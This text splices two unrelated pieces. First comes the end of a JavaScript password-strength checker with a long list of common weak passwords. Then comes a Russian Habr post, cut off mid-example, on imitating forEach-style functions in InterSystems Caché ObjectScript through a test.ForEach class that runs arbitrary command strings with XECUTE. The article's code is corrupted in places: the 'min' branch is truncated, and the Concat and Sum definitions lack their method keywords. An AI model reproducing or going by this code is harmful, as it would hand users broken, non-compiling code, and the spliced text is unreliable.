terse, terry, tardy, tappa, tapis, tapir, taper, tanya, tansy, tammy, tamie, taint, sybil, suzie, susie, susan, super, steph, stacy, staci, spark, sonya, sonia, solar, soggy, sofia, smile, slave, slate, slash, slant, slang, simon, shiva, shell, shark, sharc, shack, scrim, screw, scott, scorn, score, scoot, scoop, scold, scoff, saxon, saucy, satan, sasha, sarah, sandy, sable, rural, rupee, runty, runny, runic, runge, rules, ruben, royal, route, rouse, roses, rolex, robyn, robot, robin, ridge, rhode, revel, renee, ranch, rally, radio, quark, quake, quail, power, polly, polis, polio, pluto, plane, pizza, photo, phone, peter, perry, penna, penis, paula, patty, parse, paris, parch, paper, panic, panel, olive, olden, okapi, oasis, oaken, nurse, notre, notch, nancy, nagel, mouse, moose, mogul, modem, merry, megan, mckee, mckay, mcgee, mccoy, marty, marni, mario, maria, marcy, marci, maint, maine, magog, magic, lyric, lyons, lynne, lynch, louis, lorry, loris, lorin, loren, linda, light, lewis, leroy, laura, later, lasso, laser, larry, ladle, kinky, keyes, kerry, kerri, kelly, keith, kazoo, kayla, kathy, karie, karen, julie, julia, joyce, jenny, jenni, japan, janie, janet, james, irene, inane, impel, idaho, horus, horse, honey, honda, holly, hello, heidi, hasty, haste, hamal, halve, haley, hague, hager, hagen, hades, guest, guess, gucci, group, grahm, gouge, gorse, gorky, glean, gleam, glaze, ghoul, ghost, gauss, gauge, gaudy, gator, gases, games, freer, fovea, float, fiona, finny, filly, field, erika, erica, enter, enemy, empty, emily, email, elmer, ellis, ellen, eight, eerie, edwin, edges, eatme, earth, eager, dulce, donor, donna, diane, diana, delay, defoe, david, danny, daisy, cuzco, cubit, cozen, coypu, coyly, cowry, condo, class, cindy, cigar, chess, cathy, carry, carol, carla, caret, caren, candy, candi, burma, burly, burke, brian, breed, borax, booze, booty, bloom, blood, bitch, bilge, bilbo, betty, beryl, becky, beach, bathe, batch, basic, bantu, banks, banjo, baird, baggy, azure, arrow, array, april, anita, angie, amber, amaze, alpha, alisa, alike, align, alice, alias, album, alamo, aires, admin, adept, adele, addle, addis, added, acura, abyss, abcde, 1701d, 123go, !@#$%".split(", ")); gDictionary.Add(6, "yankee, yamaha, yakima, y7u8i9, xyzxyz, wombat, wizard, wilson, willie, weenie, warren, visual, virgin, viking, venous, venice, venial, vasant, vagina, ursula, urchin, uranus, uphill, umpire, u.s.a., tuttle, trisha, trails, tracie, toyota, tomato, toggle, tidbit, thorny, thomas, terror, tennis, taylor, target, tardis, tappet, taoist, tannin, tanner, tanker, tamara, system, surfer, summer, subway, stacie, stacey, spring, sondra, solemn, soleil, solder, solace, soiree, soften, soffit, sodium, sodden, snoopy, snatch, smooch, smiles, slavic, slater, single, singer, simple, sherri, sharon, sharks, sesame, sensor, secret, second, season, search, scroll, scribe, scotty, scooby, schulz, school, scheme, saturn, sandra, sandal, saliva, saigon, sahara, safety, safari, sadism, saddle, sacral, russel, runyon, runway, runoff, runner, ronald, romano, rodent, ripple, riddle, ridden, reveal, return, remote, recess, recent, realty, really, reagan, raster, rascal, random, radish, radial, racoon, racket, racial, rachel, rabbit, qwerty, qawsed, puppet, puneet, public, prince, presto, praise, poster, polite, polish, policy, police, plover, pierre, phrase, photon, philip, persia, peoria, penmen, penman, pencil, peanut, parrot, parent, pardon, papers, pander, pamela, pallet, palace, oxford, outlaw, osiris, orwell, oregon, oracle, olivia, oliver, olefin, office, notion, notify, notice, notate, notary, noreen, nobody, nicole, newton, nevada, mutant, mozart, morley, monica, moguls, minsky, mickey, merlin, memory, mellon, meagan, mcneil, mcleod, mclean, mckeon, mchugh, mcgraw, mcgill, mccann, mccall, mccabe, mayfly, maxine, master, massif, maseru, marvin, markus, malcom, mailer, maiden, magpie, magnum, magnet, maggot, lorenz, lisbon, limpid, leslie, leland, latest, latera, latent, lascar, larkin, langur, landis, landau, lambda, kristy, kristi, krista, knight, kitten, kinney, kerrie, kernel, kermit, kennan, kelvin, kelsey, kelley, keller, keenan, katina, karina, kansas, juggle, judith, jsbach, joshua, joseph, johnny, joanne, joanna, jixian, jimmie, jimbob, jester, jeanne, jasmin, janice, jaguar, jackie, island, invest, instar, ingrid, ingres, impute, holmes, holman, hockey, hidden, hawaii, hasten, harvey, harold, hamlin, hamlet, halite, halide, haggle, haggis, hadron, hadley, hacker, gustav, gusset, gurkha, gurgle, guntis, guitar, gamlyn, gospel, gorton, gorham, gorges, golfer, glassy, ginger, gibson, ghetto, german, george, gauche, gasify, gambol, gamble, gambit, friend, freest, fourth, format, flower, flaxen, flaunt, flakes, finley, finite, fillip, fillet, filler, filled, fermat, fender, fatten, fatima, fathom, father, evelyn, euclid, estate, enzyme, engine, employ, emboss, elanor, elaine, eileen, eighty, eighth, effect, efface, eeyore, eerily, edwina, easier, durkin, durkee, during, durham, duress, duncan, donner, donkey, donate, donald, domino, disney, dieter, device, denise, deluge, delete, debbie, deaden, ddurer, dapper, daniel, dancer, damask, dakota, daemon, cuvier, cuddly, cuddle, cuckoo, cretin, create, cozier, coyote, cowpox, cooper, cookie, connie, coneck, condom, coffee, citrus, citron, citric, circus, charon, change, censor, cement, celtic, cecily, cayuga, catnip, catkin, cation, castle, carson, carrot, carrie, carole, carmen, caress, cantor, burley, burlap, buried, burial, brenda, bremen, breezy, breeze, breech, brandy, brandi, border, borden, borate, bloody, bishop, bilbao, bikini, bigred, betsie, berman, berlin, bedbug, became, beavis, beaver, beauty, beater, batman, bathos, barony, barber, baobab, bantus, banter, bantam, banish, bangui, bangor, bangle, bandit, banana, bakery, bailey, bahama, bagley, badass, aztecs, azsxdc, athena, asylum, arthur, arrest, arrear, arrack, arlene, anvils, answer, angela, andrea, anchor, analog, amazon, amanda, alison, alight, alicia, albino, albert, albeit, albany, alaska, adrian, adelia, adduce, addict, addend, accrue, access, abcdef, abcabc, abc123, a1b2c3, a12345, @#$%^&, 7y8u9i, 1qw23e, 1q2w3e, 1p2o3i, 1a2b3c, 123abc, 10sne1, 0p9o8i, !@#$%^".split(", ")); gDictionary.Add(7, "yolanda, wyoming, winston, william, whitney, whiting, whatnot, vitriol, vitrify, vitiate, vitamin, visitor, village, vertigo, vermont, venturi, venture, ventral, venison, valerie, utility, upgrade, unknown, unicorn, unhappy, trivial, torrent, tinfoil, tiffany, tidings, thunder, thistle, theresa, test123, terrify, teleost, tarbell, taproot, tapping, tapioca, tantrum, tantric, tanning, takeoff, swearer, suzanne, susanne, support, success, student, squires, sossina, soldier, sojourn, soignee, sodding, smother, slavish, slavery, slander, shuttle, shivers, shirley, sheldon, shannon, service, seattle, scooter, scissor, science, scholar, scamper, satisfy, sarcasm, salerno, sailing, saguaro, saginaw, sagging, saffron, sabrina, russell, rupture, running, runneth, rosebud, receipt, rebecca, realtor, raleigh, rainbow, quarrel, quality, qualify, pumpkin, protect, program, profile, profess, profane, private, prelude, porsche, politic, playboy, phoenix, persona, persian, perseus, perseid, perplex, penguin, pendant, parapet, panoply, panning, panicle, panicky, pangaea, pandora, palette, pacific, olivier, olduvai, oldster, okinawa, oakwood, nyquist, nursery, numeric, number1, nullify, nucleus, nuclear, notused, nothing, newyork, network, neptune, montana, minimum, michele, michael, merriam, mercury, melissa, mcnulty, mcnally, mcmahon, mckenna, mcguire, mcgrath, mcgowan, mcelroy, mcclure, mcclain, mccarty, mcbride, mcadams, mbabane, mayoral, maurice, marimba, manhole, manager, mammoth, malcolm, malaria, mailbox, magnify, magneto, losable, lorinda, loretta, lorelei, lockout, lioness, limpkin, library, lazarus, lathrop, lateran, lateral, kristin, kristie, kristen, kinsman, kingdom, kennedy, kendall, kellogg, keelson, katrina, jupiter, judaism, judaica, jessica, janeiro, inspire, inspect, insofar, ingress, indiana, include, impetus, imperil, holmium, holmdel, herbert, heather, headmen, headman, harmony, handily, hamburg, halifax, halibut, halfway, haggard, hafnium, hadrian, gustave, gunther, gunshot, gryphon, gosling, goshawk, gorilla, gleason, glacier, ghostly, germane, georgia, geology, gaseous, gascony, gardner, gabriel, freeway, fourier, flowers, florida, fishers, finnish, finland, ferrari, felicia, feather, fatigue, fairway, express, expound, emulate, empress, empower, emitted, emerald, embrace, embower, ellwood, ellison, egghead, durward, durrell, drought, donning, donahue, digital, develop, desiree, default, deborah, damming, cynthia, cyanate, cutworm, cutting, cuddles, cubicle, crystal, coxcomb, cowslip, cowpony, cowpoke, console, conquer, connect, comrade, compton, collins, cluster, claudia, classic, citroen, citrate, citizen, citadel, cistern, christy, chester, charles, charity, celtics, celsius, catlike, cathode, carroll, carrion, careful, carbine, carbide, caraway, caravan, camille, burmese, burgess, bridget, breccia, bradley, bopping, blondie, bilayer, beverly, bernard, bermuda, berlitz, berlioz, beowulf, beloved, because, beatnik, beatles, beatify, bassoon, bartman, baroque, barbara, baptism, banshee, banquet, bannock, banning, bananas, bainite, bailiff, bahrein, bagpipe, baghdad, bagging, bacchus, asshole, arrange, arraign, arragon, arizona, ariadne, annette, animals, anatomy, anatole, amatory, amateur, amadeus, allison, alimony, aliases, algebra, albumin, alberto, alberta, albania, alameda, aladdin, alabama, airport, airpark, airfoil, airflow, airfare, airdrop, adenoma, adenine, address, addison, accrual, acclaim, academy, abcdefg, !@#$%^&".split(", ")); gDictionary.Add(8, "yosemite, y7u8i9o0, wormwood, woodwind, whistler, whatever, warcraft, vitreous, virginia, veronica, venomous, trombone, transfer, tortoise, tientsin, tideland, ticklish, thailand, testtest, tertiary, terrific, terminal, telegram, tarragon, tapeworm, tapestry, tanzania, tantalus, tantalum, sysadmin, symmetry, sunshine, strangle, startrek, springer, sparrows, somebody, solecism, soldiery, softwood, software, softball, socrates, slatting, slapping, slapdash, slamming, simpsons, serenity, security, schwartz, sanctity, sanctify, samantha, salesman, sailfish, sailboat, sagittal, sagacity, sabotage, rushmore, rosemary, rochelle, robotics, reverend, regional, raindrop, rachelle, qwertyui, qwerasdf, qawsedrf, q1w2e3r4, protozoa, prodding, princess, precious, politics, politico, plymouth, pershing, penitent, penelope, pendulum, patricia, password, passport, paranoia, panorama, panicked, pandemic, pandanus, pakistan, painless, operator, olivetti, oleander, oklahoma, notocord, notebook, notarize, nebraska, napoleon, missouri, michigan, michelle, mesmeric, mercedes, mcmullen, mcmillan, mcknight, mckinney, mckinley, mckesson, mckenzie, mcintyre, mcintosh, mcgregor, mcgovern, mcginnis, mcfadden, mcdowell, mcdonald, mcdaniel, mcconnel, mccauley, mccarthy, mccallum, mayapple, masonite, maryland, marjoram, marinate, marietta, maneuver, mandamus, maledict, maladapt, magnuson, magnolia, magnetic, lyrebird, lymphoma, lorraine, lionking, linoleum, limitate, limerick, laterite, landmass, landmark, landlord, landlady, landhold, landfill, kristine, kirkland, kingston, kimberly, khartoum, keystone, kentucky, keeshond, kathrine, kathleen, jubilant, joystick, jennifer, jacobsen, irishman, interpol, internet, insulate, instinct, instable, insomnia, insolent, insolate, inactive, imperial, iloveyou, illinois, hydrogen, hutchins, homework, hologram, holocene, hibernia, hiawatha, heinlein, hebrides, headlong, headline, headland, hastings, hamilton, halftone, halfback, hagstrom, gunsling, gunpoint, gumption, gorgeous, glaucous, glaucoma, glassine, ginnegan, ghoulish, gertrude, geometry, geometer, garfield, gamesman, gamecock, fungible, function, frighten, freetown, foxglove, fourteen, foursome, forsythe, football, flaxseed, flautist, flatworm, flatware, fidelity, exposure, eternity, enthrone, enthrall, enthalpy, entendre, entangle, engineer, emulsion, emulsify, emporium, employer, employee, employed, emmanuel, elliptic, elephant, einstein, eighteen, duration, donnelly, dominion, dlmhurst, delegate, delaware, december, deadwood, deadlock, deadline, deadhead, danielle, cyanamid, cucumber, cristina, criminal, creosote, creation, cowpunch, couscous, conquest, comrades, computer, comprise, compress, colorado, clusters, citation, charming, cerulean, cenozoic, cemetery, cellular, catskill, cationic, catholic, cathodic, catheter, cascades, carriage, caroline, carolina, carefree, cardinal, burgundy, burglary, bumbling, broadway, breeches, bordello, bordeaux, bilinear, bilabial, bernardo, berliner, berkeley, bedazzle, beaumont, beatrice, beatific, bathrobe, baronial, baritone, bankrupt, banister, bakelite, azsxdcfv, asdfqwer, arkansas, appraise, apposite, anything, angerine, ancestry, ancestor, anatomic, anathema, ambiance, alphabet, albright, albrecht, alberich, albacore, alastair, alacrity, airspace, airplane, airfield, airedale, aircraft, airbrush, airborne, aerobics, adrianna, adelaide, additive, addition, addendum, accouter, academic, academia, abcdefgh, abcd1234, a1b2c3d4, 7y8u9i0o, 7890yuio, 1234qwer, 0p9o8i7u, 0987poiu, !@#$%^&*".split(", ")); gDictionary.Add(9, "zimmerman, worldwide, wisconsin, wholesale, vitriolic, ventricle, ventilate, valentine, tidewater, testament, territory, tennessee, telephone, telepathy, teleology, telemetry, telemeter, telegraph, tarantula, tarantara, tangerine, supported, superuser, stuttgart, stratford, stephanie, solemnity, softcover, slaughter, slapstick, signature, sheffield, sarcastic, sanctuary, sagebrush, sagacious, runnymede, rochester, receptive, reception, racketeer, professor, princeton, pondering, politburo, policemen, policeman, persimmon, persevere, persecute, percolate, peninsula, penetrate, pendulous, paralytic, panoramic, panicking, panhandle, oligopoly, oligocene, oligarchy, olfactory, oldenburg, nutrition, nurturant, notorious, notoriety, minnesota, microsoft, mcpherson, mcfarland, mcdougall, mcdonnell, mcdermott, mccracken, mccormick, mcconnell, mccluskey, mcclellan, marijuana, malicious, magnitude, magnetron, magnetite, macintosh, lynchburg, louisiana, lissajous, limousine, limnology, landscape, landowner, kinshasha, kingsbury, kibbutzim, kennecott, jamestown, ironstone, invisible, invention, intuitive, intervene, intersect, inspector, insomniac, insolvent, insoluble, impetuous, imperious, imperfect, holocaust, hollywood, hollyhock, headphone, headlight, headdress, headcount, headboard, happening, hamburger, halverson, gustafson, gunpowder, glasswort, glassware, ghostlike, geometric, gaucherie, freewheel, freethink, freestone, foresight, foolproof, extension, expositor, establish, entertain, employing, emittance, ellsworth, elizabeth, eightieth, eightfold, eiderdown, dusenbury, dusenberg, donaldson, dominique, discovery, desperate, delegable, delectate, decompose, decompile, damnation, cutthroat, crabapple, cornelius, conqueror, connubial, commrades, citizenry, christine, christina, chemistry, cellulose, celluloid, catherine, carryover, burlesque, bloodshot, bloodshed, bloodroot, bloodline, bloodbath, bilingual, bilateral, bijective, bijection, bernadine, berkshire, beethoven, beatitude, bakhtiari, asymptote, asymmetry, apprehend, appraisal, apportion, ancestral, anatomist, alexander, albatross, alabaster, alabamian, adenosine, abcabcabc".split(", ")); gDictionary.Add(10, "washington, volkswagen, topography, tessellate, temptation, telephonic, telepathic, telemetric, telegraphy, tantamount, superstage, slanderous, salamander, qwertyuiop, polynomial, politician, phrasemake, photometry, photolytic, photolysis, photogenic, phosphorus, phosphoric, persiflage, persephone, perquisite, peninsular, penicillin, penetrable, panjandrum, oligoclase, oligarchic, oldsmobile, nottingham, noticeable, noteworthy, mcnaughton, mclaughlin, mccullough, mcallister, malconduct, maidenhair, limitation, lascivious, landowning, landlubber, landlocked, lamination, khrushchev, juggernaut, irrational, invariable, insouciant, insolvable, incomplete, impervious, impersonal, headmaster, glaswegian, geopolitic, geophysics, fourteenth, foursquare, expressive, expression, expository, exposition, enterprise, eightyfold, eighteenth, effaceable, donnybrook, delectable, decolonize, cuttlefish, cuttlebone, compromise, compressor, comprehend, cellophane, carruthers, california, burlington, burgundian, borderline, borderland, bloodstone, bloodstain, bloodhound, bijouterie, biharmonic, bernardino, beaujolais, basketball, bankruptcy, bangladesh, atmosphere, asymptotic, asymmetric, appreciate, apposition, ambassador, amateurish, alimentary, additional, accomplish, 1q2w3e4r5t".split(", ")); gDictionary.Add(11, "yellowstone, venturesome, territorial, telekinesis, sagittarius, safekeeping, politicking, policewoman, photometric, photography, phosphorous, perseverant, persecutory, persecution, penitential, pandemonium, mississippi, marketplace, magnificent, irremovable, interrogate, institution, inspiration, incompetent, impertinent, impersonate, impermeable, headquarter, hamiltonian, halfhearted, hagiography, geophysical, expressible, emptyhanded, eigenvector, deleterious, decollimate, decolletage, connecticut, comptroller, compressive, compression, catholicism, bloodstream, bakersfield, arrangeable, appreciable, anastomotic, albuquerque".split(", ")); gDictionary.Add(12, "williamsburg, testamentary, qwerasdfzxcv, q1w2e3r4t5y6, perseverance, pennsylvania, penitentiary, malformation, liquefaction, interstitial, inconclusive, incomputable, incompletion, incompatible, incomparable, imperishable, impenetrable, headquarters, geometrician, ellipsometry, decomposable, decommission, compressible, burglarproof, bloodletting, bilharziasis, asynchronous, asymptomatic, ambidextrous, 1q2w3e4r5t6y".split(", ")); gDictionary.Add(13, "ventriloquist, ventriloquism, poliomyelitis, phosphorylate, oleomargarine, massachusetts, jitterbugging, interpolatory, inconceivable, imperturbable, impermissible, decomposition, comprehensive, comprehension".split(", ")); gDictionary.Add(14, "slaughterhouse, irreproducible, incompressible, comprehensible, bremsstrahlung".split(", ")); gDictionary.Add(15, "irreconciliable, instrumentation, incomprehension".split(", ")); gDictionary.Add(16, "incomprehensible".split(", "));} function ClientSideStrongPassword(){ return (IsLongEnough(ClientSideStrongPassword.arguments[0], "8") && SpansEnoughCharacterSets(ClientSideStrongPassword.arguments[0], "3") && (!(IsCloseVariationOfAWordInDictionary(ClientSideStrongPassword.arguments[0], "0.6", ClientSideStrongPassword.arguments[1], ClientSideStrongPassword.arguments[2])))); } function ClientSideBestPassword(){ return (IsLongEnough(ClientSideBestPassword.arguments[0], "14") && SpansEnoughCharacterSets(ClientSideBestPassword.arguments[0], "3") && (!(IsCloseVariationOfAWordInDictionary(ClientSideBestPassword.arguments[0], "0.6", ClientSideBestPassword.arguments[1], ClientSideBestPassword.arguments[2])))); } function ClientSideMediumPassword(){ return (IsLongEnough(ClientSideMediumPassword.arguments[0], "8") && SpansEnoughCharacterSets(ClientSideMediumPassword.arguments[0], "2") && (!(FoundInDictionary(ClientSideMediumPassword.arguments[0], ClientSideMediumPassword.arguments[1], ClientSideMediumPassword.arguments[2])))); } function ClientSideWeakPassword(){ return (IsLongEnough(ClientSideWeakPassword.arguments[0], "1") || (!(IsLongEnough(ClientSideWeakPassword.arguments[0], "0")))); } function GEId(sID){ return document.getElementById(sID); } function EvalPwdStrength(oF,sP){ if(ClientSideBestPassword(sP,gSimilarityMap,gDictionary)){ DispPwdStrength(4,'pwdChkCon4'); } else if(ClientSideStrongPassword(sP,gSimilarityMap,gDictionary)){ DispPwdStrength(3,'pwdChkCon3'); } else if(ClientSideMediumPassword(sP,gSimilarityMap,gDictionary)){ DispPwdStrength(2,'pwdChkCon2'); } else if(ClientSideWeakPassword(sP,gSimilarityMap,gDictionary)){ DispPwdStrength(1,'pwdChkCon1'); } else{ DispPwdStrength(0,'pwdChkCon0'); } } function PadPasswd(oF,lPwd){ if(typeof oF.PwdPad=="object"){ var sPad="djg"; var lPad=sPad.length-lPwd; oF.PwdPad.value=sPad.substr(0,(lPad<0)?0:lPad); } } function DispPwdStrength(iN,sHL){ if(iN>4){ iN=4; } for(var i=0;i<5;i++){ var sHCR="pwdChkCon0";if(i<=iN){ sHCR=sHL;}if(i>0){ GEId("idSM"+i).className=sHCR; } GEId("idSMT"+i).style.display=((i==iN)?"inline":"none"); } } ```
https://habr.com/ru/post/116425/
null
ru
null
# В поисках аналога функций первого порядка в СУБД Caché Пост написан в дополнение к статье [Декларативная разработка на Caché](http://habrahabr.ru/company/intersystems/blog/212671/). ``` [2, 3, 5, 7, 11, 13, 17].forEach(function(i) { console.log(i); }); ``` Как делать такое в Caché с помощью [COS](http://docs.intersystems.com/cache201512/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS)? Под катом несколько упражнений на заданную тему. Чтобы увидеть, как средствами COS — одного из серверных языков, встроенных в Caché — можно добиться такого же лаконичного, наглядного и гибкого кода, был разработан собственный класс test.ForEach для работы с коллекциями-списками. **Исходный код класса test.ForEach**/// Класс-итератор для коллекций. Class test.ForEach Extends %RegisteredObject [ Final ] { /// Коллекция-список ~~почти~~ любого типа. Property collection As %Collection.AbstractList [ Internal, Private, ReadOnly, Transient ]; /// Инициализация свойства collection. ///   Допустимые аргументы val: %OnNew(val, sep = ",") As %Status [ Private, ServerOnly = 1 ] if $IsObject(val) {         quit:'val.%Extends("%Collection.AbstractList") $$$ERROR($$$OrefInvalid,val)         set i%collection=val     }else{         set i%collection=##class(%ListOfDataTypes).%New()         do ..collection.InsertList($select($listvalid(val):val,1:$listfromstring(val,sep)))     }     quit $$$OK } /// Основной метод-обработчик. ///  Do(func = "+", Args...) As %Status {   #define ReturnOnError(%expr) s sc=%expr ret:$$$ISERR(sc) sc     quit:'..collection.Count() $$$OK     if func="+" {         set func=$listbuild("s args(1,1)=args(1,1)+el")     }elseif func="\*" {         set func=$listbuild("s args(1,1)=args(1,1)\*el")     }elseif func="\_" {         set func=$listbuild("s args(1,1)=args(1,1)\_args(1,2)\_el")     }elseif func="min" {         set func=$listbuild("s:el),Args(1)=999999999999999     }elseif func="max" {         set func=$listbuild("s:el>args(1,1) args(1,1)=el"),Args(1)=-999999999999999     }elseif func="avg" {         set func=$listbuild("s args(1,1)=el/args(1,2)+args(1,1)"),Args=2,Args(2)=..collection.Count() kill Args(1)     }     if $listvalid(func) {         set cmd=$list(func)         $$$ReturnOnError(##class(%Routine).CheckSyntax(" "\_cmd))         set cmd="(el,args...){"\_cmd\_"}"       set key = ""       for {           set el = ..collection.GetNext(.key)           quit:key=""         xecute (cmd,el,.Args)       }     }else{         if func[":" {           set className=$piece(func,":",1)           set methodName=$piece(func,":",2)           quit:'##class(%Dictionary.MethodDefinition).IDKEYExists(className,methodName) $$$ERROR($$$MethodDoesNotExist,func)           quit:'$$$defMemberKeyGet(className,"m",methodName,23) $$$ERROR($$$GeneralError,$$$FormatText("Метод %1 не является методом класса %2",methodName,className))           set key = ""           for {               set el = ..collection.GetNext(.key)               quit:key=""             $$$ReturnOnError($classmethod(className,methodName,el,.Args))           }         }else{           set methodName=func           set key = ""           for {               set el = ..collection.GetNext(.key)               quit:key=""               set className=$classname(el)               return:'##class(%Dictionary.MethodDefinition).IDKEYExists(className,methodName) $$$ERROR($$$MethodDoesNotExist,className\_":"\_methodName)               return:$$$defMemberKeyGet(className,"m",methodName,23) $$$ERROR($$$GeneralError,$$$FormatText("Метод %1 не является методом экземпляра класса %2",methodName,className))             $$$ReturnOnError($method(el,methodName,.Args))           }         }     }     quit $$$OK } /// d ##class(test.ForEach).Test() ClassMethod Test() [ Internal ] {     set old=$system.Process.Undefined(2)     try{         ;==============================  КОЛЛЛЕКЦИЯ ПРОСТЫХ ТИПОВ ДАННЫХ  =============================         set t=##class(test.ForEach).%New("2,3,5")         ;s t=##class(test.ForEach).%New("2,3,5,asd")         ;s t=##class(test.ForEach).%New(##class(test.ForEach).%New()) ; раскомментируйте, чтобы увидеть ошибку         if '$IsObject(t) $$$ThrowStatus(%objlasterror)         write !,"==========",!,"test.myclass:Dump",!!!         $$$ThrowOnError(t.Do("test.myclass:Dump"))          ; или $$$ThrowOnError(t.Do("test.myclass:Dump",.result))         write !,"==========",!,"test.myclass:Dump(.r=""result"",""p1"",""p2"")",!!!         set r="result" $$$ThrowOnError(t.Do("test.myclass:Dump",.r,"p1","p2"))         write !,"==========",!,"test.myclass:Sum(.r)",!!!         $$$ThrowOnError(t.Do("test.myclass:Sum",.r)) write "Результат = ",r,!         ;$$$ThrowOnError(t.Do("test.myclass:Sum",.r,5)) ; раскомментируйте, чтобы увидеть ошибку         write !,"==========",!,"+10",!! set r=10         $$$ThrowOnError(t.Do(,.r)) write "Результат = ",r,!         write !,"==========",!,"+",!! kill r         $$$ThrowOnError(t.Do(,.r)) write "Результат = ",r,!         write !,"==========",!,"\*",!! set r=1         $$$ThrowOnError(t.Do("\*",.r)) write "Результат = ",r,!         write !,"==========",!,"\_ + разделитель=""^""",!! kill r         $$$ThrowOnError(t.Do("\_",.r,"^")) write "Результат = ",r,!         write !,"==========",!,"min (входной аргумент не учитывается)",!!!         set r="asd" $$$ThrowOnError(t.Do("min",.r)) write "Результат = ",r,!         write !,"==========",!,"max (входной аргумент не учитывается)",!!!         set r="asd" $$$ThrowOnError(t.Do("max",.r)) write "Результат = ",r,!         write !,"==========",!,"avg (входной аргумент не учитывается)",!!!         set r="asd" $$$ThrowOnError(t.Do("avg",.r)) write "Результат = ",r,!         write !,"==========",!,"s args(1,1)=args(1,1)+el",!!!         kill r $$$ThrowOnError(t.Do($listbuild("s args(1,1)=args(1,1)+el"),.r))    write r,!         write !,"==========",!,"d sub^prog(el,args...) [.r=""r"",""p1"",""p2""]",!!!         set r="r"    $$$ThrowOnError(t.Do($listbuild("d sub^prog(el,args...)"),.r,"p1","p2"))         ;==============================  КОЛЛЛЕКЦИЯ СЛОЖНЫХ ТИПОВ ДАННЫХ  =============================         set list=##class(%ListOfObjects).%New()         for i="f1","f2","f3" do list.Insert(##class(test.myclass).%New(i))         ;f i="f1","f2","f3",7 d list.Insert(##class(test.myclass).%New(i))         set t=##class(test.ForEach).%New(list)         if '$IsObject(t) $$$ThrowStatus(%objlasterror)         write !,"++++++++++",!,"test.myclass:Dump",!!!         $$$ThrowOnError(t.Do("test.myclass:Dump"))         write !,"++++++++++",!,"PrintLn",!!!         $$$ThrowOnError(t.Do("PrintLn"))         write !,"++++++++++",!,"PrintLn(,""Элемент = "")",!!!         $$$ThrowOnError(t.Do("PrintLn",,"Элемент = "))         write !,"++++++++++",!,"Concat(.r)",!! kill r         $$$ThrowOnError(t.Do("Concat",.r)) write "Результат = ",r,!         ;$$$ThrowOnError(t.Do("Concat",.r,"f3")) w "Результат = ",r,! ; раскомментируйте, чтобы увидеть ошибку         write !,"++++++++++",!,"SetField(,""blablabla"") + PrintLn(,""Элемент = "")",!!!         $$$ThrowOnError(t.Do("SetField",,"blablabla")) $$$ThrowOnError(t.Do("PrintLn",,"Элемент = "))         write !,"++++++++++",!,"d el.PrintLn(.args)",!!!         $$$ThrowOnError(t.Do($listbuild("d el.PrintLn(.args)")))         write !,"++++++++++",!,"w ""field="",el.field,!",!!!         $$$ThrowOnError(t.Do($listbuild("w ""field="",el.field,!")))     }catch(ex){         #dim ex As %Exception.AbstractException         write ex.DisplayString()     }     do $system.Process.Undefined(old) } } В коде класса применялись некоторые возможности COS: * [Args...](http://docs.intersystems.com/cache20151/csp/docbook/DocBook.UI.Page.cls?KEY=GOBJ_methods#GOBJ_methods_args_variable) (передача произвольного числа аргументов в метод/процедуру/программу); * [XECUTE](http://docs.intersystems.com/cache20151/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_cxecute) или $XECUTE (выполнение произвольных команд COS); * [$COMPILE](http://docs.intersystems.com/cache20151/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fcompile) (компиляция/проверка синтаксиса кода); * [$CLASSMETHOD](http://docs.intersystems.com/cache20151/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fclassmethod) (вызов произвольного метода класса с передачей произвольного числа аргументов); * [$METHOD](http://docs.intersystems.com/cache20151/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fmethod) (вызов произвольного метода экземпляра класса с передачей произвольного числа аргументов); * [Библиотека встроенных классов](http://docs.intersystems.com/cache20151/csp/documatic/%25CSP.Documatic.cls). **Внимание!** Все приведенные ниже примеры предполагают, что [Undefined](http://docs.intersystems.com/cache20151/csp/docbook/DocBook.UI.Page.cls?KEY=RACS_Settings#RACS_Config.Miscellaneous.Undefined)=2. Этот режим можно установить в терминале. ``` > set old=$system.Process.Undefined(2) ``` Выполнить тесты и не забыть потом вернуть на место ``` > do $system.Process.Undefined(old) ``` **Исходный код класса test.myclass**Class test.myclass Extends %RegisteredObject { /// Строковое поле. Property field; /// Инициализация свойства field. Method %OnNew(field) As %Status [ Internal, Private, ServerOnly = 1 ] {     set ..field=field     quit $$$OK } /// Заполнение field первым входным аргументом. Method SetField(Args...) As %Status {     set ..field=Args(1,2)     quit $$$OK } /// Вывод field и первого входного аргумента. Method PrintLn(Args...) As %Status {     write Args(1,2),$$$quote(..field),!     quit $$$OK } /// Конкатенация field с разделителем (метод **экземпляра** класса). ///  Если первый входной аргумент совпадает с field, генерируем ошибку (для демонстрационных целей!) Concat(Args...) As %Status {     set Args(1,1)=Args(1,1)\_Args(1,2)\_..field     quit $select(..field=Args(1,2):$$$ERROR($$$GeneralError,$$$FormatText("Возникла ошибка на элементе: %1",..field)),1:$$$OK) } /// Сумма elem (метод класса). ///  Если первый входной аргумент совпадает с elem (он же field), генерируем ошибку (для демонстрационных целей!) Sum(elem, Args...) As %Status {     set Args(1,1)=Args(1,1)+elem     quit $select(elem=Args(1,2):$$$ERROR($$$GeneralError,$$$FormatText("Возникла ошибка на элементе: %1",elem)),1:$$$OK) } /// Вывод всех аргументов. ///   elem = элемент коллекции Dump(elem, Args...) As %Status {     set params=""     for i=2:1:Args(1)    set params=params\_$listbuild(Args(1,i))     if '$IsObject(elem) {         set el=elem     }elseif elem.%Extends("test.myclass"){         set el=elem.field     }else{         set el=elem.%ClassName($$$YES)     }     write "Элемент = ",$$$quote(el),", Выходной аргумент = ",$$$quote(Args(1,1)),", Дополнительные аргументы = ",$$$quote($listtostring(params)),!     quit $$$OK } } **Исходный код программы prog.mac**    #include %systemInclude sub(el,args...) public {     write "--------",!,"el = ",$$$quote(el),!     zwrite args     write ! } Поехали! **Инициализация объекта ForEach** Инициализация происходит с помощью метода test.ForEach.%New(val,sep) Первый параметр *val* принимает коллекцию литералов, либо список, либо коллекцию объектов. Второй параметр *sep* — разделитель коллекции литералов. **1. Инициализация коллекции литералов** ``` set tmp=##class(test.ForEach).%New("2,3,5") или set tmp=##class(test.ForEach).%New($listbuild(2,3,5)) ``` **2. Инициализация коллекции литералов через произвольный разделитель** Например через разделитель ";" ``` set tmp=##class(test.ForEach).%New("2;zxc;5;asd,ert",";") или set 